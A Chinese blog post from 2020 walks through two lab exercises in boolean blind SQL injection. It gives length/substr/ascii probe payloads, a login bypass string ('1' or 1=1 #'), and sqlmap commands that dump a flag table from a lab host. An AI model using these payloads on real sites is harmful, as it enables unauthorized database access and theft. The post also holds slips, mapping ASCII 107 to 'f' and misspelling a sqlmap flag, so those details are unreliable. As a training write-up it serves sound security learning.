返回顶部

布尔盲注

布尔盲注

靶场地址

原理:在没有错误回显的情况下,我们利用length() ;substr()进行字母和数字的转化,把需要获取的信息转化为可比较的数字,再利用ascii码对应的字母的值来进行数据库信息的获取。工程非常庞大,需要一点一点试出来

第一题:

由于没有任何的报错点,只能看到有数据,同时url栏上方是GET传参,所以我们直接再url栏上进行操作,在后方输入代码

and length(database())>9

在这里插入图片描述然后修改and length(database())>9中的9依次递增,最终得到在12的时候没有得到数据

and length(database())>12

在这里插入图片描述

于是判断数据库的名字长度是12
接着,我们用substr函数去一个个试试出数据库的第一个字母的ascii码值,在url栏输入代码

  and ascii(substr(database(),1,1))>90

在这里插入图片描述
然后把代码最后的大于90逐个递增,终于找到了107的时候是没有数据的,于是我们判定它第一个字母对应的ascii码值就是107

 and ascii(substr(database(),1,1))=107

在这里插入图片描述
同时查ascii码表107对应的是f,于是数据库的第一个字母就找到了
在这里插入图片描述
接着我们用同样的方法查第二个字母,输入代码,找到第二个字母,找到ascii码对应的值是97是a

and ascii(substr(database(),2,1))=97

在这里插入图片描述
接下来,我们用burp抓包工具来找,并同时标记两个变量
在这里插入图片描述
找出所有长度异常的包,一一和ascii码值对应,最终得到数据库名字

kanwolongxia

得到数据库名后,直接用sqlmap跑出表名

python sqlmap.py -u http://59.63.200.79:8815/Pass-10/index.php?id=1 -D kanwolongxia --tabales

在这里插入图片描述
再跑列名

python sqlmap.py -u http://59.63.200.79:8815/Pass-10/index.php?id=1 -D kanwolongxia -T loflag --columns

在这里插入图片描述最终直接抛出数据

python sqlmap.py -u http://59.63.200.79:8815/Pass-10/index.php?id=1 -D kanwolongxia -T loflag -C flaglo --dump

在这里插入图片描述
得到flag
其他的无非就是闭合问题
第二题:

靶场地址
这是post传参的盲注,我首先判断回显是什么输入万能密码

   1' or 1=1 #

在这里插入图片描述

登陆成功是没有显示的
而失败是有显示的
在这里插入图片描述
在username输入

1' or length(database())>9 #

发现登陆成功
在这里插入图片描述然后修改1’ or length(database())>9 #中的9依次递增,最终得到在12的时候没有得到数据
得到数据库字段12
在这里插入图片描述
然后利用

   1' or ascii(substr(database(),1,1))>90 #

在这里插入图片描述

最终一次判断出

 1' or ascii(substr(database(),1,1))=107 #

在这里插入图片描述
重复上面题的方法,最后得到flag

posted @ 2020-05-04 10:15  Xuno  阅读(53)  评论(0)    收藏  举报